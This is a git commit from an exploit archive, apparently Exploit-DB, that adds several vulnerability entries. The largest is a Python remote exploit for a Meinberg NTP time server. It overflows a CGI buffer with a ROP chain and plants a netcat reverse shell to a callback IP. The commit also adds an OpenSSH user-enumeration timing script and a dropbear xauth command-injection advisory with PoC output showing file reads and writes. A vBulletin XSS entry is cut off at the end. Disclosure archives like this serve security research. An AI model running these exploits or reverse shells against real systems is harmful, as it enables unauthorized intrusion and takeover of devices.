DB: 2016-07-19
This commit is contained in:
Offensive Security
parent
a9e80c57e9
commit
acd30ed451
8 changed files with 5507 additions and 4400 deletions
219
platforms/hardware/remote/40120.py
Executable file
219
platforms/hardware/remote/40120.py
Executable file
|
|
@ -0,0 +1,219 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#
|
||||||
|
# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
|
||||||
|
# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
|
||||||
|
#
|
||||||
|
# 271 - trigger notifications
|
||||||
|
# 299 - copy user defined notifications
|
||||||
|
|
||||||
|
# Kernel Version: 2.6.15.1
|
||||||
|
# System Version: 530
|
||||||
|
# Lantime configuration utility 1.27
|
||||||
|
# ELX800/GPS M4x V5.30p
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import telnetlib
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print "[-] <Host> <Callback IP> "
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
callback_ip = sys.argv[2]
|
||||||
|
|
||||||
|
print "[+] exploiting Meinburg M400"
|
||||||
|
port = 80
|
||||||
|
|
||||||
|
###################################################################
|
||||||
|
#
|
||||||
|
# Copy user_defined_notification to /www/filetmp
|
||||||
|
# Append reverse shell string to /file/tmp
|
||||||
|
#
|
||||||
|
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
csock.connect ( (host, int(port)) )
|
||||||
|
|
||||||
|
param = "A" * 0x2850
|
||||||
|
|
||||||
|
resp = "POST /cgi-bin/main HTTP/1.1\r\n"
|
||||||
|
resp += "Host: " + host + "\r\n"
|
||||||
|
resp += "User-Agent: Mozilla/5.0\r\n"
|
||||||
|
resp += "Accept: text/html\r\n"
|
||||||
|
resp += "Accept-Language: en-US\r\n"
|
||||||
|
resp += "Connection: keep-alive\r\n"
|
||||||
|
resp += "Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
|
||||||
|
system = 0x80490B0
|
||||||
|
exit = 0x80492C0
|
||||||
|
some_str = 0x850BDB8
|
||||||
|
|
||||||
|
#must have a listener setup to receive the callback connection on ip 192.168.60.232
|
||||||
|
# i.e. nc -v -l -p 4444
|
||||||
|
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,' + callback_ip +'0,4444}>/tmp/foo;" >> /www/filetmp'
|
||||||
|
|
||||||
|
msg = "button=" + "A"*10028
|
||||||
|
msg += struct.pack("I", system )
|
||||||
|
msg += struct.pack("I", exit )
|
||||||
|
msg += struct.pack("I", some_str )
|
||||||
|
msg += command + "\x00"
|
||||||
|
|
||||||
|
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
|
||||||
|
resp += msg
|
||||||
|
csock.send(resp)
|
||||||
|
csock.close()
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
###################################################################
|
||||||
|
#
|
||||||
|
# Copy /www/filetmp to user_defined_notification
|
||||||
|
#
|
||||||
|
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
csock.connect ( (host, int(port)) )
|
||||||
|
|
||||||
|
param = "A" * 0x2850
|
||||||
|
|
||||||
|
resp = "POST /cgi-bin/main HTTP/1.1\r\n"
|
||||||
|
resp += "Host: " + host + "\r\n"
|
||||||
|
resp += "User-Agent: Mozilla/5.0\r\n"
|
||||||
|
resp += "Accept: text/html\r\n"
|
||||||
|
resp += "Accept-Language: en-US\r\n"
|
||||||
|
resp += "Connection: keep-alive\r\n"
|
||||||
|
resp += "Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
|
||||||
|
send_cmd = 0x807ED88
|
||||||
|
system = 0x80490B0
|
||||||
|
exit = 0x80492C0
|
||||||
|
some_str = 0x850BDB8
|
||||||
|
ret = 0x804CE65
|
||||||
|
|
||||||
|
#stack pivot
|
||||||
|
stack_pivot = 0x8049488
|
||||||
|
msg = "button=" + "A" * 9756
|
||||||
|
|
||||||
|
msg += "B" * 28
|
||||||
|
msg += struct.pack("I", 0x7FFEE01A ) # ebp
|
||||||
|
msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret
|
||||||
|
msg += struct.pack("I", some_str - 0x100 ) # some place
|
||||||
|
msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret
|
||||||
|
msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret
|
||||||
|
msg += struct.pack("I", ret ) * (71/4)
|
||||||
|
|
||||||
|
msg += struct.pack("I", send_cmd )
|
||||||
|
msg += struct.pack("I", exit )
|
||||||
|
msg += struct.pack("I", 0x80012111 ) # [eax + 0x60]
|
||||||
|
msg += struct.pack("I", some_str ) # buffer
|
||||||
|
msg += struct.pack("I", 0xffffffff ) # count
|
||||||
|
msg += "E" * 120
|
||||||
|
|
||||||
|
msg += struct.pack("I", 0xB1E8B434 ) # ebx
|
||||||
|
msg += struct.pack("I", some_str - 100 ) # esi
|
||||||
|
msg += struct.pack("I", some_str - 100 ) # edi
|
||||||
|
msg += struct.pack("I", some_str - 0x100 ) # ebp
|
||||||
|
msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret
|
||||||
|
msg += "A" * 100
|
||||||
|
|
||||||
|
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
|
||||||
|
resp += msg
|
||||||
|
csock.send(resp)
|
||||||
|
csock.close
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
###################################################################
|
||||||
|
#
|
||||||
|
# Trigger reverse shell
|
||||||
|
#
|
||||||
|
|
||||||
|
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
csock.connect ( (host, int(port)) )
|
||||||
|
|
||||||
|
param = "A" * 0x2850
|
||||||
|
|
||||||
|
resp = "POST /cgi-bin/main HTTP/1.1\r\n"
|
||||||
|
resp += "Host: " + host + "\r\n"
|
||||||
|
resp += "User-Agent: Mozilla/5.0\r\n"
|
||||||
|
resp += "Accept: text/html\r\n"
|
||||||
|
resp += "Accept-Language: en-US\r\n"
|
||||||
|
resp += "Connection: keep-alive\r\n"
|
||||||
|
resp += "Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
|
||||||
|
send_cmd = 0x807ED88
|
||||||
|
system = 0x80490B0
|
||||||
|
exit = 0x80492C0
|
||||||
|
some_str = 0x850BDB8
|
||||||
|
ret = 0x804CE65
|
||||||
|
|
||||||
|
#stack pivot
|
||||||
|
stack_pivot = 0x8049488
|
||||||
|
msg = "button=" + "A" * 9756
|
||||||
|
|
||||||
|
msg += "B" * 28
|
||||||
|
msg += struct.pack("I", 0x7FFEE01A ) # ebp
|
||||||
|
msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret
|
||||||
|
msg += struct.pack("I", some_str - 0x100 ) # some place
|
||||||
|
msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret
|
||||||
|
msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret
|
||||||
|
msg += struct.pack("I", ret ) * (71/4)
|
||||||
|
|
||||||
|
msg += struct.pack("I", send_cmd )
|
||||||
|
msg += struct.pack("I", exit )
|
||||||
|
msg += struct.pack("I", 0x800120f5 ) # [eax + 0x60]
|
||||||
|
msg += struct.pack("I", some_str ) # buffer
|
||||||
|
msg += struct.pack("I", 0xffffffff ) # count
|
||||||
|
msg += "E" * 120
|
||||||
|
|
||||||
|
msg += struct.pack("I", 0xB1E8B434 ) # ebx
|
||||||
|
msg += struct.pack("I", some_str - 100 ) # esi
|
||||||
|
msg += struct.pack("I", some_str - 100 ) # edi
|
||||||
|
msg += struct.pack("I", some_str - 0x100 ) # ebp
|
||||||
|
msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret
|
||||||
|
msg += "A" * 100
|
||||||
|
|
||||||
|
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
|
||||||
|
resp += msg
|
||||||
|
csock.send(resp)
|
||||||
|
csock.close()
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
|
||||||
|
print "[+] cleaning up"
|
||||||
|
###################################################################
|
||||||
|
#
|
||||||
|
# Kill all mains that are hung-up
|
||||||
|
#
|
||||||
|
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
csock.connect ( (host, int(port)) )
|
||||||
|
|
||||||
|
param = "A" * 0x2850
|
||||||
|
|
||||||
|
resp = "POST /cgi-bin/main HTTP/1.1\r\n"
|
||||||
|
resp += "Host: " + host + "\r\n"
|
||||||
|
resp += "User-Agent: Mozilla/5.0\r\n"
|
||||||
|
resp += "Accept: text/html\r\n"
|
||||||
|
resp += "Accept-Language: en-US\r\n"
|
||||||
|
resp += "Connection: keep-alive\r\n"
|
||||||
|
resp += "Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
|
||||||
|
system = 0x80490B0
|
||||||
|
exit = 0x80492C0
|
||||||
|
some_str = 0x850BDB8
|
||||||
|
|
||||||
|
command = 'killall main'
|
||||||
|
|
||||||
|
msg = "button=" + "A"*10028
|
||||||
|
msg += struct.pack("I", system )
|
||||||
|
msg += struct.pack("I", exit )
|
||||||
|
msg += struct.pack("I", some_str )
|
||||||
|
msg += command + "\x00"
|
||||||
|
|
||||||
|
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
|
||||||
|
resp += msg
|
||||||
|
csock.send(resp)
|
||||||
|
csock.close()
|
||||||
|
|
||||||
|
print "[+] enjoy"
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
source: http://www.securityfocus.com/bid/597/info
|
// source: http://www.securityfocus.com/bid/597/info
|
||||||
|
|
||||||
pt_chown is a program included with glibc 2.1.x that exists to aid the proper allocation of terminals for non-suid programs that don't have devpts support. It is installed setuid root, and is shipped with RedHat Linux 6.0. As it stands, pt_chown is vulnerable to an attack that allows malicious users to write aribtrary data to tty input/output streams (open file desciptors -> tty) that don't belong to them (you could theoretically get full control of the terminal). This is done by fooling the program into giving you access (it lacks security checks). Whether you can be compromised or not depends on the software you are using and whether it has support for devpts (screen, midnight commander, etc). The consequences are hijacking of terminals, possibly leading to a root compromise.
|
// pt_chown is a program included with glibc 2.1.x that exists to aid the proper allocation of terminals for non-suid programs that don't have devpts support. It is installed setuid root, and is shipped with RedHat Linux 6.0. As it stands, pt_chown is vulnerable to an attack that allows malicious users to write aribtrary data to tty input/output streams (open file desciptors -> tty) that don't belong to them (you could theoretically get full control of the terminal). This is done by fooling the program into giving you access (it lacks security checks). Whether you can be compromised or not depends on the software you are using and whether it has support for devpts (screen, midnight commander, etc). The consequences are hijacking of terminals, possibly leading to a root compromise.
|
||||||
|
|
||||||
int main(int a,char* b[]) {
|
int main(int a,char* b[]) {
|
||||||
|
|
||||||
|
|
|
||||||
56
platforms/linux/remote/40113.txt
Executable file
56
platforms/linux/remote/40113.txt
Executable file
|
|
@ -0,0 +1,56 @@
|
||||||
|
Source: http://seclists.org/fulldisclosure/2016/Jul/51
|
||||||
|
|
||||||
|
--------------------------------------------------------------------
|
||||||
|
User Enumeration using Open SSHD (<=Latest version).
|
||||||
|
-------------------------------------------------------------------
|
||||||
|
|
||||||
|
Abstract:
|
||||||
|
-----------
|
||||||
|
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most
|
||||||
|
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.
|
||||||
|
|
||||||
|
CVE-ID
|
||||||
|
---------
|
||||||
|
CVE-2016-6210
|
||||||
|
|
||||||
|
Tested versions
|
||||||
|
--------------------
|
||||||
|
This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).
|
||||||
|
|
||||||
|
Fix
|
||||||
|
-----------------
|
||||||
|
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).
|
||||||
|
(thanks to 'dtucker () zip com au' for his quick reply and fix suggestion).
|
||||||
|
|
||||||
|
Details
|
||||||
|
----------------
|
||||||
|
When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD
|
||||||
|
source code. On this hard coded password structure the password hash is based on BLOWFISH ($2) algorithm.
|
||||||
|
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB) will result in shorter
|
||||||
|
response time from the server for non-existing users.
|
||||||
|
|
||||||
|
Sample code:
|
||||||
|
----------------
|
||||||
|
import paramiko
|
||||||
|
import time
|
||||||
|
user=raw_input("user: ")
|
||||||
|
p='A'*25000
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
starttime=time.clock()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
try:
|
||||||
|
ssh.connect('127.0.0.1', username=user,
|
||||||
|
password=p)
|
||||||
|
except:
|
||||||
|
endtime=time.clock()
|
||||||
|
total=endtime-starttime
|
||||||
|
print(total)
|
||||||
|
|
||||||
|
(Valid users will result in higher total time).
|
||||||
|
|
||||||
|
*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...
|
||||||
|
|
||||||
|
*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP
|
||||||
|
packets of the server, since this will eliminate any network delays on the way.
|
||||||
|
|
||||||
|
Eddie Harari
|
||||||
350
platforms/linux/remote/40119.md
Executable file
350
platforms/linux/remote/40119.md
Executable file
|
|
@ -0,0 +1,350 @@
|
||||||
|
VuNote
|
||||||
|
============
|
||||||
|
|
||||||
|
Author: <github.com/tintinweb>
|
||||||
|
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
|
||||||
|
Version: 0.2
|
||||||
|
Date: Mar 3rd, 2016
|
||||||
|
|
||||||
|
Tag: dropbearsshd xauth command injection may lead to forced-command bypass
|
||||||
|
|
||||||
|
Overview
|
||||||
|
--------
|
||||||
|
|
||||||
|
Name: dropbear
|
||||||
|
Vendor: Matt Johnston
|
||||||
|
References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1]
|
||||||
|
|
||||||
|
Version: 2015.71
|
||||||
|
Latest Version: 2015.71
|
||||||
|
Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
|
||||||
|
Platform(s): linux
|
||||||
|
Technology: c
|
||||||
|
|
||||||
|
Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
|
||||||
|
Origin: remote
|
||||||
|
Min. Privs.: post auth
|
||||||
|
|
||||||
|
CVE: CVE-2016-3116
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Description
|
||||||
|
---------
|
||||||
|
|
||||||
|
quote website [1]
|
||||||
|
|
||||||
|
>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
|
||||||
|
|
||||||
|
Summary
|
||||||
|
-------
|
||||||
|
|
||||||
|
An authenticated user may inject arbitrary xauth commands by sending an
|
||||||
|
x11 channel request that includes a newline character in the x11 cookie.
|
||||||
|
The newline acts as a command separator to the xauth binary. This attack requires
|
||||||
|
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.
|
||||||
|
|
||||||
|
By injecting xauth commands one gains limited* read/write arbitrary files,
|
||||||
|
information leakage or xauth-connect capabilities. These capabilities can be
|
||||||
|
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
|
||||||
|
account restriction. This is generally not expected.
|
||||||
|
|
||||||
|
The injected xauth commands are performed with the effective permissions of the
|
||||||
|
logged in user as the sshd already dropped its privileges.
|
||||||
|
|
||||||
|
Quick-Info:
|
||||||
|
|
||||||
|
* requires: X11Forwarding yes
|
||||||
|
* does *NOT* bypass /bin/false due to special treatment (like nologin)
|
||||||
|
* bypasses forced-commands (allows arbitr. read/write)
|
||||||
|
|
||||||
|
Capabilities (xauth):
|
||||||
|
|
||||||
|
* Xauth
|
||||||
|
* write file: limited chars, xauthdb format
|
||||||
|
* read file: limit lines cut at first \s
|
||||||
|
* infoleak: environment
|
||||||
|
* connect to other devices (may allow port probing)
|
||||||
|
|
||||||
|
|
||||||
|
see attached PoC
|
||||||
|
|
||||||
|
|
||||||
|
Details
|
||||||
|
-------
|
||||||
|
|
||||||
|
// see annotated code below
|
||||||
|
|
||||||
|
* x11req (svr-x11fwd.c:46)
|
||||||
|
|
||||||
|
* execchild (svr-chansession.c:893)
|
||||||
|
*- x11setauth (svr-x11fwd.c:129)
|
||||||
|
|
||||||
|
Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
|
||||||
|
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
|
||||||
|
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
|
||||||
|
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
|
||||||
|
in a session specific datastore. When calling `execute` on that session, dropbear will
|
||||||
|
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
|
||||||
|
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
|
||||||
|
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
|
||||||
|
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
|
||||||
|
command-separator to the `xauth` binary, this allows a client to inject arbitrary
|
||||||
|
`xauth` commands.
|
||||||
|
|
||||||
|
This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
|
||||||
|
command injection:
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]
|
||||||
|
|
||||||
|
add displayname protocolname hexkey
|
||||||
|
generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
|
||||||
|
[n]extract filename displayname...
|
||||||
|
[n]list [displayname...]
|
||||||
|
[n]merge [filename...]
|
||||||
|
remove displayname...
|
||||||
|
source filename
|
||||||
|
info
|
||||||
|
exit
|
||||||
|
quit
|
||||||
|
version
|
||||||
|
help
|
||||||
|
?
|
||||||
|
|
||||||
|
Interesting commands are:
|
||||||
|
|
||||||
|
info - leaks environment information / path
|
||||||
|
~# xauth info
|
||||||
|
xauth: file /root/.Xauthority does not exist
|
||||||
|
Authority file: /root/.Xauthority
|
||||||
|
File new: yes
|
||||||
|
File locked: no
|
||||||
|
Number of entries: 0
|
||||||
|
Changes honored: yes
|
||||||
|
Changes made: no
|
||||||
|
Current input: (argv):1
|
||||||
|
|
||||||
|
source - arbitrary file read (cut on first `\s`)
|
||||||
|
# xauth source /etc/shadow
|
||||||
|
xauth: file /root/.Xauthority does not exist
|
||||||
|
xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
|
||||||
|
|
||||||
|
extract - arbitrary file write
|
||||||
|
* limited characters
|
||||||
|
* in xauth.db format
|
||||||
|
* since it is not compressed it can be combined with `xauth add` to
|
||||||
|
first store data in the database and then export it to an arbitrary
|
||||||
|
location e.g. to plant a shell or do other things.
|
||||||
|
|
||||||
|
generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
|
||||||
|
vulnerabilities in X.org
|
||||||
|
|
||||||
|
|
||||||
|
Source
|
||||||
|
------
|
||||||
|
|
||||||
|
Inline annotations are prefixed with `//#!`
|
||||||
|
|
||||||
|
* handle x11 request, stores cookie in `chansess`
|
||||||
|
```c
|
||||||
|
/* called as a request for a session channel, sets up listening X11 */
|
||||||
|
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
|
||||||
|
int x11req(struct ChanSess * chansess) {
|
||||||
|
|
||||||
|
int fd;
|
||||||
|
|
||||||
|
/* we already have an x11 connection */
|
||||||
|
if (chansess->x11listener != NULL) {
|
||||||
|
return DROPBEAR_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
chansess->x11singleconn = buf_getbyte(ses.payload);
|
||||||
|
chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data
|
||||||
|
chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data
|
||||||
|
chansess->x11screennum = buf_getint(ses.payload);
|
||||||
|
```
|
||||||
|
|
||||||
|
* set auth cookie/authprot
|
||||||
|
|
||||||
|
```c
|
||||||
|
/* This is called after switching to the user, and sets up the xauth
|
||||||
|
* and environment variables. */
|
||||||
|
void x11setauth(struct ChanSess *chansess) {
|
||||||
|
|
||||||
|
char display[20]; /* space for "localhost:12345.123" */
|
||||||
|
FILE * authprog = NULL;
|
||||||
|
int val;
|
||||||
|
|
||||||
|
if (chansess->x11listener == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
/* popen is a nice function - code is strongly based on OpenSSH's */
|
||||||
|
authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary
|
||||||
|
if (authprog) {
|
||||||
|
fprintf(authprog, "add %s %s %s\n",
|
||||||
|
display, chansess->x11authprot, chansess->x11authcookie); //#! \n injection in cookie, authprot
|
||||||
|
pclose(authprog);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
----------------
|
||||||
|
|
||||||
|
Prerequisites:
|
||||||
|
|
||||||
|
* install python 2.7.x
|
||||||
|
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
|
||||||
|
* run `poc.py`
|
||||||
|
|
||||||
|
Note: see cve-2016-3115 [3] for `poc.py`
|
||||||
|
|
||||||
|
Usage: <host> <port> <username> <password or path_to_privkey>
|
||||||
|
|
||||||
|
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
|
||||||
|
|
||||||
|
|
||||||
|
poc:
|
||||||
|
|
||||||
|
1. configure one user (user1) for `force-commands`:
|
||||||
|
```c
|
||||||
|
#PUBKEY line - force commands: only allow "whoami"
|
||||||
|
#cat /home/user1/.ssh/authorized_keys
|
||||||
|
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
|
||||||
|
|
||||||
|
#cat /etc/passwd
|
||||||
|
user1:x:1001:1001:,,,:/home/user1:/bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
2. run dropbearsshd (x11fwd is on by default)
|
||||||
|
|
||||||
|
```c
|
||||||
|
#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
|
||||||
|
[22861] Not backgrounding
|
||||||
|
[22862] Child connection from 192.168.139.1:49597
|
||||||
|
[22862] Forced command 'whoami'
|
||||||
|
[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
|
||||||
|
```
|
||||||
|
|
||||||
|
3. `forced-commands` - connect with user1 and display env information
|
||||||
|
|
||||||
|
```c
|
||||||
|
#> python <host> 2222 user1 .demoprivkey
|
||||||
|
|
||||||
|
INFO:__main__:add this line to your authorized_keys file:
|
||||||
|
#PUBKEY line - force commands: only allow "whoami"
|
||||||
|
#cat /home/user/.ssh/authorized_keys
|
||||||
|
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
|
||||||
|
|
||||||
|
INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
|
||||||
|
INFO:__main__:connected!
|
||||||
|
INFO:__main__:
|
||||||
|
Available commands:
|
||||||
|
.info
|
||||||
|
.readfile <path>
|
||||||
|
.writefile <path> <data>
|
||||||
|
.exit .quit
|
||||||
|
<any xauth command or type help>
|
||||||
|
|
||||||
|
#> .info
|
||||||
|
DEBUG:__main__:auth_cookie: '\ninfo'
|
||||||
|
DEBUG:__main__:dummy exec returned: None
|
||||||
|
INFO:__main__:Authority file: /home/user1/.Xauthority
|
||||||
|
File new: no
|
||||||
|
File locked: no
|
||||||
|
Number of entries: 2
|
||||||
|
Changes honored: yes
|
||||||
|
Changes made: no
|
||||||
|
Current input: (stdin):2
|
||||||
|
user1
|
||||||
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
||||||
|
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
4. `forced-commands` - read `/etc/passwd`
|
||||||
|
|
||||||
|
```c
|
||||||
|
...
|
||||||
|
#> .readfile /etc/passwd
|
||||||
|
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
|
||||||
|
DEBUG:__main__:dummy exec returned: None
|
||||||
|
INFO:__main__:root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||||
|
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||||
|
sync:x:4:65534:sync:/bin:/bin/sync
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
5. `forced-commands` - write `/tmp/testfile`
|
||||||
|
|
||||||
|
```c
|
||||||
|
#> .writefile /tmp/testfile1 `thisisatestfile`
|
||||||
|
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
|
||||||
|
DEBUG:__main__:dummy exec returned: None
|
||||||
|
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
|
||||||
|
DEBUG:__main__:dummy exec returned: None
|
||||||
|
DEBUG:__main__:user1
|
||||||
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
||||||
|
|
||||||
|
#> INFO:__main__:/tmp/testfile1
|
||||||
|
|
||||||
|
#> ls -lsat /tmp/testfile1
|
||||||
|
4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
|
||||||
|
|
||||||
|
#> cat /tmp/testfile1
|
||||||
|
ú65500hiú65500`thisisatestfile`ªr
|
||||||
|
```
|
||||||
|
|
||||||
|
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100
|
||||||
|
|
||||||
|
```c
|
||||||
|
#> generate 8.8.8.8:100
|
||||||
|
DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
|
||||||
|
DEBUG:__main__:dummy exec returned: None
|
||||||
|
INFO:__main__:user1
|
||||||
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
||||||
|
/usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100".
|
||||||
|
|
||||||
|
#> tcpdump
|
||||||
|
IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
|
||||||
|
```
|
||||||
|
|
||||||
|
Fix
|
||||||
|
---
|
||||||
|
|
||||||
|
* Sanitize user-tainted input `chansess->x11authcookie`
|
||||||
|
|
||||||
|
|
||||||
|
Mitigation / Workaround
|
||||||
|
------------------------
|
||||||
|
|
||||||
|
* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`
|
||||||
|
|
||||||
|
Notes
|
||||||
|
-----
|
||||||
|
|
||||||
|
Thanks to the OpenSSH team for coordinating the fix!
|
||||||
|
|
||||||
|
Vendor response see: changelog [4]
|
||||||
|
|
||||||
|
|
||||||
|
References
|
||||||
|
----------
|
||||||
|
|
||||||
|
[1] https://matt.ucc.asn.au/dropbear/dropbear.html
|
||||||
|
[2] http://linux.die.net/man/1/xauth
|
||||||
|
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
|
||||||
|
[4] https://matt.ucc.asn.au/dropbear/CHANGES
|
||||||
|
|
||||||
|
Contact
|
||||||
|
-------
|
||||||
|
|
||||||
|
https://github.com/tintinweb
|
||||||
238
platforms/php/webapps/40114.py
Executable file
238
platforms/php/webapps/40114.py
Executable file
|
|
@ -0,0 +1,238 @@
|
||||||
|
CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)
|
||||||
|
================================================================================================
|
||||||
|
|
||||||
|
Overview
|
||||||
|
--------
|
||||||
|
|
||||||
|
date : 10/12/2014
|
||||||
|
cvss : 4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base
|
||||||
|
